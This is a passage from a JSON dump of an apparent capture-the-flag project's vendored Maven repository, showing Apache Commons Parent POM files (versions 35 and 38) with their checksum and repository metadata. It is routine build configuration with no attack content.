   <profile>\n      <id>jdk7-findbugs</id>\n      <activation>\n        <jdk>[1.7,)</jdk>\n      </activation>\n      <properties>\n        <commons.findbugs.version>3.0.0</commons.findbugs.version>\n      </properties>\n    </profile>\n\n  </profiles>\n\n  <properties>\n    <!-- configuration bits for cutting a release candidate, must be overridden by components -->\n    <commons.release.version>${project.version}</commons.release.version>\n    <commons.rc.version>RC1</commons.rc.version>\n    <commons.jira.id>COMMONSSITE</commons.jira.id>\n\n    <!-- Default configuration for compiler source and target JVM -->\n    <!-- Do NOT change this; it must remain as 1.3 -->\n    <maven.compiler.source>1.3</maven.compiler.source>\n    <maven.compiler.target>1.3</maven.compiler.target>\n\n    <!-- compiler and surefire plugin settings for \"java\" profiles -->\n    <commons.compiler.fork>false</commons.compiler.fork>\n    <commons.compiler.compilerVersion />\n    <commons.compiler.javac />\n    <commons.surefire.java />\n\n    <!-- plugin versions (allows same value in reporting and build sections) -->\n    <commons.surefire.version>2.17</commons.surefire.version>\n    <commons.surefire-report.version>2.17</commons.surefire-report.version>\n    <!-- 2.9.1 includes fix for Javadoc vulnerability (CVE-2013-1571, VU#225657) MJAVADOC-370 -->\n    <commons.javadoc.version>2.10.1</commons.javadoc.version>\n    <commons.rat.version>0.11</commons.rat.version>\n    <commons.changes.version>2.11</commons.changes.version>\n    <commons.clirr.version>2.6.1</commons.clirr.version>\n    <commons.jxr.version>2.4</commons.jxr.version>\n    <commons.project-info.version>2.7</commons.project-info.version>\n    <commons.wagon-ssh.version>2.6</commons.wagon-ssh.version>\n    <commons.site-plugin.version>3.4</commons.site-plugin.version>\n    <commons.jacoco.version>0.7.2.201409121644</commons.jacoco.version>\n    <commons.cobertura.version>2.6</commons.cobertura.version>\n    <commons.jdepend.version>2.0</commons.jdepend.version>\n    <commons.compiler.version>3.2</commons.compiler.version>\n    <commons.scm-publish.version>1.1</commons.scm-publish.version>\n    <commons.findbugs.version>2.5.5</commons.findbugs.version>\n\n    <!-- Default values for the download-page generation by commons-build-plugin -->\n    <commons.release.name>${project.artifactId}-${commons.release.version}</commons.release.name>\n    <commons.release.desc />\n    <commons.binary.suffix>-bin</commons.binary.suffix>\n    <commons.release.2.name>${project.artifactId}-${commons.release.2.version}</commons.release.2.name>\n    <commons.release.2.desc />\n    <commons.release.2.binary.suffix>-bin</commons.release.2.binary.suffix>\n    <commons.release.3.name>${project.artifactId}-${commons.release.3.version}</commons.release.3.name>\n    <commons.release.3.desc />\n    <commons.release.3.binary.suffix>-bin</commons.release.3.binary.suffix>\n\n    <!-- Default values for the jacoco-maven-plugin reports -->\n    <commons.jacoco.classRatio>1.00</commons.jacoco.classRatio>\n    <commons.jacoco.instructionRatio>0.90</commons.jacoco.instructionRatio>\n    <commons.jacoco.methodRatio>0.95</commons.jacoco.methodRatio>\n    <commons.jacoco.branchRatio>0.85</commons.jacoco.branchRatio>\n    <commons.jacoco.complexityRatio>0.85</commons.jacoco.complexityRatio>\n    <commons.jacoco.lineRatio>0.90</commons.jacoco.lineRatio>\n    <commons.jacoco.haltOnFailure>false</commons.jacoco.haltOnFailure>\n\n    <!-- Commons Component Id -->\n    <commons.componentid>${project.artifactId}</commons.componentid>\n\n    <!-- Configuration properties for the OSGi maven-bundle-plugin -->\n    <commons.osgi.symbolicName>org.apache.commons.${commons.componentid}</commons.osgi.symbolicName>\n    <commons.osgi.export>org.apache.commons.*;version=${project.version};-noimport:=true</commons.osgi.export>\n    <commons.osgi.import>*</commons.osgi.import>\n    <commons.osgi.dynamicImport />\n    <commons.osgi.private />\n\n    <!-- location of any manifest file used by maven-jar-plugin -->\n    <commons.manifestfile>${project.build.directory}/osgi/MANIFEST.MF</commons.manifestfile>\n\n    <!--\n      Make the deployment protocol pluggable. This allows to switch to\n      other protocols like scpexe, which some users prefer over scp.\n    -->\n    <commons.deployment.protocol>scp</commons.deployment.protocol>\n\n    <!--\n      Encoding of Java source files: Make sure, that the compiler and\n      the javadoc generator use the right encoding. Subprojects may\n      overwrite this, if they are using another encoding.\n    -->\n    <commons.encoding>iso-8859-1</commons.encoding>\n    <commons.docEncoding>${commons.encoding}</commons.docEncoding>\n    <!-- Define encoding for filtering -->\n    <project.build.sourceEncoding>${commons.encoding}</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>${commons.encoding}</project.reporting.outputEncoding>\n\n    <!-- Javadoc link to Java API.  Default is Java 1.7; components can override to other versions -->\n    <commons.javadoc.java.link>http://docs.oracle.com/javase/7/docs/api/</commons.javadoc.java.link>\n    <commons.javadoc.javaee.link>http://docs.oracle.com/javaee/6/api/</commons.javadoc.javaee.link>\n\n    <!-- build meta inf -->\n    <maven.build.timestamp.format>yyyy-MM-dd HH:mm:ssZ</maven.build.timestamp.format>\n    <implementation.build>${scmBranch}@r${buildNumber}; ${maven.build.timestamp}</implementation.build>\n\n    <!-- Allow Clirr severity to be overriden by the command-line option -DminSeverity=level -->\n    <minSeverity>info</minSeverity>\n\n    <!-- Allow surefire-report aggregation to be easily configured for multi-module projects -->\n    <commons.surefire-report.aggregate>false</commons.surefire-report.aggregate>\n\n    <!-- scm publish plugin configuration -->\n    <commons.site.cache>${user.home}/commons-sites</commons.site.cache>\n    <!-- value modules can override it -->\n    <commons.site.path>${project.artifactId}</commons.site.path>\n\n    <commons.scmPubUrl>https://svn.apache.org/repos/infra/websites/production/commons/content/proper/${project.artifactId}</commons.scmPubUrl>\n    <commons.scmPubCheckoutDirectory>${commons.site.cache}/${commons.site.path}</commons.scmPubCheckoutDirectory>\n    <commons.scmPubServer>commons.site</commons.scmPubServer>\n\n    <sonar.host.url>https://analysis.apache.org/</sonar.host.url>\n\n  </properties>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/35/commons-parent-35.pom.sha1",
    "content": "d88c24ebb385e5404f34573f24362b17434e3f33"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/38/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:55:32 CST 2018\ncommons-parent-38.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/38/commons-parent-38.pom",
    "content": "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!--\n\n   Licensed to the Apache Software Foundation (ASF) under one or more\n   contributor license agreements.  See the NOTICE file distributed with\n   this work for additional information regarding copyright ownership.\n   The ASF licenses this file to You under the Apache License, Version 2.0\n   (the \"License\"); you may not use this file except in compliance with\n   the License.  You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>16</version>\n  </parent>\n  <groupId>org.apache.commons</groupId>\n  <artifactId>commons-parent</artifactId>\n  <packaging>pom</packaging>\n  <version>38</version>\n  <name>Apache Commons Parent</name>\n  <url>http://commons.apache.org/</url>\n  <description>The Apache Commons Parent POM provides common settings for all Apache Commons components.</description>\n\n<!--\nVersion 38:\n\n- Fix URL for Security link\n- Update Assembly Plugin : 2.5.3 => 2.5.5\n- Update Cobertura plugin 2.6 => 2.7\n- Update Jacoco plugin 0.7.2 => 0.7.4\n- Update Javadoc plugin 2.10.1 => 2.10.2\n- Update Surefire plugin 2.18 => 2.18.1\n\n -->\n\n  <!-- Maven versions plugin reports an error if this is omitted -->\n  <prerequisites>\n    <maven>3.0.1</maven>\n  </prerequisites>\n\n  <ciManagement>\n    <system>continuum</system>\n    <url>https://continuum-ci.apache.org/</url>\n  </ciManagement>\n\n  <!--\n    In release 31, the maven.compile.* properties were corrected to maven.compiler.*\n    [See COMMONSSITE-69]\n    If updating from a previous version, please check the property definitions\n\n    Starting with version 22, the RAT plugin has changed Maven group and id, so any existing configuration\n    needs to be updated.\n    To fix component POMs, please change any occurrences of:\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>rat-maven-plugin</artifactId>\n    to the new values:\n        <groupId>org.apache.rat</groupId>\n        <artifactId>apache-rat-plugin</artifactId>\n\n    Site deployment\n    ===============\n    Cannot define this here at present, see https://issues.apache.org/jira/browse/COMMONSSITE-26.\n\n    The following should be added to the component POM:\n\n    <distributionManagement>\n      <site>\n        <id>commons.site</id>\n        <name>Apache Commons Site SVN</name>\n        <url>scm:svn:${commons.scmPubUrl}</url>\n      </site>\n    </distributionManagement>\n\n    Alternatively you can map the component's existing site id to the\n    commons.scmPubServer property.\n\n    Coverage tool selection\n    =======================\n    Starting with release 30, there are optional profiles for both Cobertura and JaCoCo.\n    These can be enabled independently on the command-line:\n\n    mvn site -Pcobertura -Pjacoco\n\n    Or the component can define a default coverage tool by creating either (or both) of the following files:\n\n    src/site/resources/profile.cobertura\n    src/site/resources/profile.jacoco\n\n    These can later be overridden by cancelling the profile:\n\n    mvn site -P!jacoco\n\n  -->\n\n  <!--\n    This section *must* be overwritten by subprojects. It is only to allow\n    a release of the commons-parent POM.\n  -->\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-38</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-38</developerConnection>\n    <url>http://svn.apache.org/viewvc/commons/proper/commons-parent/tags/commons-parent-38</url>\n  </scm>\n\n  <mailingLists>\n    <!-- N.B. commons-site now uses the Apache POM so has its own copy of the mailing list definitions -->\n    <!--\n        Components should normally override the default mailing list report by using the comnand\n        mvn commons:mail-page\n        This generates the file src/site/xdoc/mail-lists.xml which when processed will replace the PIR version.\n     -->\n    <!-- Changes to this list should be synchronised with the commons build plugin -->\n    <mailingList>\n      <name>Commons User List</name>\n      <subscribe>user-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>user-unsubscribe@commons.apache.org</unsubscribe>\n      <post>user@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-user/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.users/</otherArchive>\n        <otherArchive>http://old.nabble.com/Commons---User-f319.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/user@commons.apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.jakarta.commons.user</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Dev List</name>\n      <subscribe>dev-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@commons.apache.org</unsubscribe>\n      <post>dev@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-dev/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.dev/</otherArchive>\n        <otherArchive>http://old.nabble.com/Commons---Dev-f317.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/dev@commons.apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.jakarta.commons.devel</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Issues List</name>\n      <subscribe>issues-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@commons.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.issues/</otherArchive>\n        <otherArchive>http://old.nabble.com/Commons---Issues-f25499.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/issues@commons.apache.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Commits List</name>\n      <subscribe>commits-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@commons.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-commits/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.commits/</otherArchive>\n        <otherArchive>http://www.mail-archive.com/commits@commons.apache.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Apache Announce List</name>\n      <subscribe>announce-subscribe@apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/www-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.announce/</otherArchive>\n        <otherArchive>http://old.nabble.com/Apache-News-and-Announce-f109.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/announce@apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.apache.announce</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n  <build>\n    <!-- TODO find a better way to add N&L files to jars and test jars\n         See also maven-remote-resources-plugin configuration below.\n    -->\n    <resources>\n      <!-- This is the default setting from the super-pom -->\n      <resource>\n        <directory>src/main/resources</directory>\n      </resource>\n      <!-- hack to ensure the N&L appear in jars -->\n      <resource>\n        <directory>${basedir}</directory>\n        <targetPath>META-INF</targetPath>\n        <includes>\n          <include>NOTICE.txt</include>\n          <include>LICENSE.txt</include>\n        </includes>\n      </resource>\n    </resources>\n    <!-- ensure test jars also get NOTICE & LICENSE files -->\n    <testResources>\n      <!-- This is the default setting from the super-pom -->\n      <testResource>\n        <directory>src/test/resources</directory>\n      </testResource>\n      <!-- hack to ensure the N&L appear in jars -->\n      <testResource>\n        <directory>${basedir}</directory>\n        <targetPath>META-INF</targetPath>\n        <includes>\n          <include>NOTICE.txt</include>\n          <include>LICENSE.txt</include>\n        </includes>\n      </testResource>\n    </testResources>\n    <pluginManagement>\n      <plugins>\n        <!-- org.apache.maven.plugins, alpha order by artifact id -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.8</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.5.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.6.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>${commons.compiler.version}</version>\n          <configuration>\n            <source>${maven.compiler.source}</source>\n            <target>${maven.compiler.target}</target>\n            <encoding>${commons.encoding}</encoding>\n            <!--\n               fork is set true by the java-1.x profiles\n               This allows the use of a different version of the compiler from the\n               JDK being used to run Maven\n            -->\n            <fork>${commons.compiler.fork}</fork>\n            <!-- the following are only needed if fork is true -->\n            <compilerVersion>${commons.compiler.compilerVersion}</compilerVersion>\n            <executable>${commons.compiler.javac}</executable>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.8.2</version>\n        </plugin>\n        <!-- Apache parent includes docck -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.6</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.5.2</version>\n        </plugin>\n        <!-- Apache parent: invoker -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>${commons.javadoc.version}</version>\n          <configuration>\n            <!-- keep only errors and warnings -->\n            <quiet>true</quiet>\n            <encoding>${commons.encoding}</encoding>\n            <docEncoding>${commons.docEncoding}</docEncoding>\n            <notimestamp>true</notimestamp>\n            <links>\n              <link>${commons.javadoc.java.link}</link>\n              <link>${commons.javadoc.javaee.link}</link>\n            </links>\n            <archive>\n              <manifest>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.5.1</version>\n        </plugin>\n        <plugin>\n          <!-- TODO see above - find better way to add N&L files to jars and test jars -->\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <!-- override old version from Apache pom 13 -->\n          <version>1.5</version>\n          <configuration>\n            <!--\n                Apache parent POM automatically adds \"LICENSE\" and \"NOTICE\" files\n                to jars - duplicating the \"LICENSE.txt\" and \"NOTICE.txt\"\n                files that components already have.\n             -->\n            <skip>true</skip>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.7</version>\n        </plugin>\n        <!-- Apache parent: scm -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>${commons.site-plugin.version}</version>\n          <configuration>\n            <!-- don't deploy site with maven-site-plugin -->\n            <skipDeploy>true</skipDeploy>\n          </configuration>\n          <dependencies>\n            <dependency>\n                <!-- add support for ssh/scp -->\n              <groupId>org.apache.maven.wagon</groupId>\n              <artifactId>wagon-ssh</artifactId>\n              <version>${commons.wagon-ssh.version}</version>\n            </dependency>\n          </dependencies>\n          <executions>\n            <execution>\n              <id>attach-descriptor</id>\n              <goals>\n                <goal>attach-descriptor</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.4</version>\n          <configuration>\n            <archive>\n              <manifest>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>${commons.surefire.version}</version>\n        </plugin>\n        <!-- Other plugins, alpha order by groupId and artifactId -->\n        <plugin>\n          <groupId>org.apache.commons</groupId>\n          <artifactId>commons-build-plugin</artifactId>\n          <version>1.4</version>\n          <configuration>\n            <commons.release.name>${commons.release.name}</commons.release.name>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.felix</groupId>\n          <artifactId>maven-bundle-plugin</artifactId>\n          <version>2.5.3</version>\n          <inherited>true</inherited>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.rat</groupId>\n          <artifactId>apache-rat-plugin</artifactId>\n          <version>${commons.rat.version}</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>build-helper-maven-plugin</artifactId>\n          <version>1.8</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>buildnumber-maven-plugin</artifactId>\n          <version>1.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>${commons.clirr.version}</version>\n          <configuration>\n            <minSeverity>${minSeverity}</minSeverity>\n          </configuration>\n        </plugin>\n        <!-- Apache parent: plexus & modello -->\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <!-- org.apache.maven.plugins, alpha order by artifact id -->\n      <plugin>\n          <!-- Parent POM is released, so needs source archive for ASF mirrors -->\n        <artifactId>maven-assembly-plugin</artifactId>\n        <configuration>\n          <descriptors>\n            <descriptor>src/main/assembly/src.xml</descriptor>\n          </descriptors>\n          <tarLongFileMode>gnu</tarLongFileMode>\n        </configuration>\n      </plugin>\n      <plugin>\n        <!--\n          - Copy LICENSE.txt and NOTICE.txt so that they are included\n          - in the -javadoc jar file for the component.\n          -->\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-antrun-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>javadoc.resources</id>\n            <phase>generate-sources</phase>\n            <goals>\n              <goal>run</goal>\n            </goals>\n            <configuration>\n              <target>\n                <copy todir=\"${project.build.directory}/apidocs/META-INF\">\n                  <fileset dir=\"${basedir}\">\n                    <include name=\"LICENSE.txt\" />\n                    <include name=\"NOTICE.txt\" />\n                  </fileset>\n                </copy>\n              </target>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n      </plugin>\n      <!-- Unfortunately the much simpler\n           <prerequisites><maven>3.0</maven></prerequisites>\n           is not inherited so we have to use the enforcer plugin\n      -->\n      <plugin>\n        <inherited>true</inherited>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-enforcer-plugin</artifactId>\n        <version>1.3.1</version>\n        <executions>\n          <execution>\n            <id>enforce-maven-3</id>\n            <goals>\n              <goal>enforce</goal>\n            </goals>\n            <configuration>\n              <rules>\n                <requireMavenVersion>\n                  <version>3.0.0</version>\n                </requireMavenVersion>\n              </rules>\n              <fail>true</fail>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <configuration>\n          <archive>\n            <manifestFile>${commons.manifestfile}</manifestFile>\n            <manifestEntries>\n              <Specification-Title>${project.name}</Specification-Title>\n              <Specification-Version>${project.version}</Specification-Version>\n              <Specification-Vendor>${project.organization.name}</Specification-Vendor>\n              <Implementation-Title>${project.name}</Implementation-Title>\n              <Implementation-Version>${project.version}</Implementation-Version>\n              <Implementation-Vendor>${project.organization.name}</Implementation-Vendor>\n              <Implementation-Vendor-Id>org.apache</Implementation-Vendor-Id>\n              <Implementation-Build>${implementation.build}</Implementation-Build>\n              <X-Compile-Source-JDK>${maven.compiler.source}</X-Compile-Source-JDK>\n              <X-Compile-Target-JDK>${maven.compiler.target}</X-Compile-Target-JDK>\n            </manifestEntries>\n          </archive>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <!--\n            commons.surefire.java is normally empty.\n            It is defined by the java-1.x profiles to change the JVM used by Surefire \n          -->\n          <jvm>${commons.surefire.java}</jvm>\n        </configuration>\n      </plugin>\n      <!-- Other plugins, alpha order by groupId and artifactId -->\n      <plugin>\n        <groupId>org.apache.commons</groupId>\n        <artifactId>commons-build-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.felix</groupId>\n        <artifactId>maven-bundle-plugin</artifactId>\n        <configuration>\n          <!--\n            dummy entry to stop bundle plugin from picking up jar config and reporting\n            WARNING: Duplicate name in Manifest\n            See http://markmail.org/message/mpkl24wk3jrjhhjg\n          -->\n          <archive>\n            <forced>true</forced>\n          </archive>\n          <excludeDependencies>${commons.osgi.excludeDependencies}</excludeDependencies>\n          <manifestLocation>${project.build.directory}/osgi</manifestLocation>\n          <instructions>\n            <!-- stops the \"uses\" clauses being added to \"Export-Package\" manifest entry -->\n            <_nouses>true</_nouses>\n            <!-- Stop the JAVA_1_n_HOME variables from being treated as headers by Bnd -->\n            <_removeheaders>JAVA_1_3_HOME,JAVA_1_4_HOME,JAVA_1_5_HOME,JAVA_1_6_HOME,JAVA_1_7_HOME,JAVA_1_8_HOME,JAVA_1_9_HOME</_removeheaders>\n            <Bundle-SymbolicName>${commons.osgi.symbolicName}</Bundle-SymbolicName>\n            <Export-Package>${commons.osgi.export}</Export-Package>\n            <Private-Package>${commons.osgi.private}</Private-Package>\n            <Import-Package>${commons.osgi.import}</Import-Package>\n            <DynamicImport-Package>${commons.osgi.dynamicImport}</DynamicImport-Package>\n            <Bundle-DocURL>${project.url}</Bundle-DocURL>\n          </instructions>\n        </configuration>\n        <executions>\n          <execution>\n            <id>bundle-manifest</id>\n            <phase>process-classes</phase>\n            <goals>\n              <goal>manifest</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <!-- Needed for command-line access, e.g mvn apache-rat:rat and mvn apache-rat:check -->\n      <plugin>\n        <groupId>org.apache.rat</groupId>\n        <artifactId>apache-rat-plugin</artifactId>\n        <version>${commons.rat.version}</version>\n        <!-- Should agree with config in reporting section -->\n        <configuration>\n          <!--\n               If you wish to override this list in the component (child) pom, ensure you use\n                   <excludes combine.children=\"merge\">\n               so that the child pom entries replace the parent entries\n           -->\n          <excludes combine.children=\"append\">\n            <exclude>site-content/**</exclude>\n            <exclude>.checkstyle</exclude>\n            <exclude>.fbprefs</exclude>\n            <exclude>.pmd</exclude>\n            <exclude>src/site/resources/download_*.cgi</exclude>\n            <exclude>src/site/resources/profile.*</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-scm-publish-plugin</artifactId>\n        <version>${commons.scm-publish.version}</version>\n        <configuration>\n          <content>${project.reporting.outputDirectory}</content>\n          <pubScmUrl>scm:svn:${commons.scmPubUrl}</pubScmUrl>\n          <checkoutDirectory>${commons.scmPubCheckoutDirectory}</checkoutDirectory>\n          <serverId>${commons.scmPubServer}</serverId>\n          <tryUpdate>true</tryUpdate>\n        </configuration>\n        <executions>\n          <execution>\n            <id>scm-publish</id>\n            <phase>site-deploy</phase><!-- deploy site with maven-scm-publish-plugin -->\n            <goals>\n              <goal>publish-scm</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n\n    </plugins>\n  </build>\n\n  <reporting>\n    <!-- N.B. plugins defined here in the <reporting> section ignore what's defined in <pluginManagement>\n         in the <build> section above, so we have to define the versions here. -->\n    <plugins>\n      <!-- org.apache.maven.plugins, alpha order by artifact id -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-changes-plugin</artifactId>\n        <version>${commons.changes.version}</version>\n        <configuration>\n          <xmlPath>${basedir}/src/changes/changes.xml</xmlPath>\n          <columnNames>Fix Version,Key,Component,Summary,Type,Resolution,Status</columnNames>\n          <!-- Sort cols in natural order when using JQL for JIRA 5.1 -->\n          <sortColumnNames>Fix Version DESC,Type,Key DESC</sortColumnNames>\n          <resolutionIds>Fixed</resolutionIds>\n          <statusIds>Resolved,Closed</statusIds>\n          <!-- Don't include sub-task -->\n          <typeIds>Bug,New Feature,Task,Improvement,Wish,Test</typeIds>\n          <!-- For JIRA >= 5.1 -->\n          <useJql>true</useJql>\n          <onlyCurrentVersion>${commons.changes.onlyCurrentVersion}</onlyCurrentVersion>\n          <maxEntries>${commons.changes.maxEntries}</maxEntries>\n          <runOnlyAtExecutionRoot>${commons.changes.runOnlyAtExecutionRoot}</runOnlyAtExecutionRoot>\n        </configuration>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>changes-report</report>\n              <report>jira-report</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <version>${commons.javadoc.version}</version>\n        <configuration>\n          <!-- keep only errors and warnings -->\n          <quiet>true</quiet>\n          <source>${maven.compiler.source}</source>\n          <encoding>${commons.encoding}</encoding>\n          <docencoding>${commons.docEncoding}</docencoding>\n          <notimestamp>true</notimestamp>\n          <linksource>true</linksource>\n          <!-- prevent svnpub to be too much noisy -->\n          <notimestamp>true</notimestamp>\n          <links>\n            <link>${commons.javadoc.java.link}</link>\n            <link>${commons.javadoc.javaee.link}</link>\n          </links>\n        </configuration>\n        <!-- Suppress test Javadocs -->\n        <reportSets>\n          <reportSet>\n            <id>default</id>\n            <reports>\n              <report>javadoc</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jxr-plugin</artifactId>\n        <version>${commons.jxr.version}</version>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>${commons.project-info.version}</version>\n        <!--\n            Unfortunately it does not appear to be possible to override\n            reports configured in a parent POM.\n            See https://jira.codehaus.org/browse/MPIR-241\n            and https://issues.apache.org/jira/browse/MPOM-32\n            So we define here all those reports that are suitable for\n            all components.\n            Components can add extra reports if they wish, but cannot disable any.\n        -->\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>index</report>\n              <report>summary</report>\n              <report>modules</report>\n<!--          <report>license</report>               site must link to ASF page instead  -->\n              <report>project-team</report>\n              <report>scm</report>\n              <report>issue-tracking</report>\n              <report>mailing-list</report>\n              <report>dependency-info</report>\n              <report>dependency-management</report>\n              <report>dependencies</report>\n              <report>dependency-convergence</report>\n              <report>cim</report>\n<!--          <report>plugin-management</report>      not very useful for end users -->\n<!--          <report>plugins</report>                not very useful for end users -->\n              <report>distribution-management</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        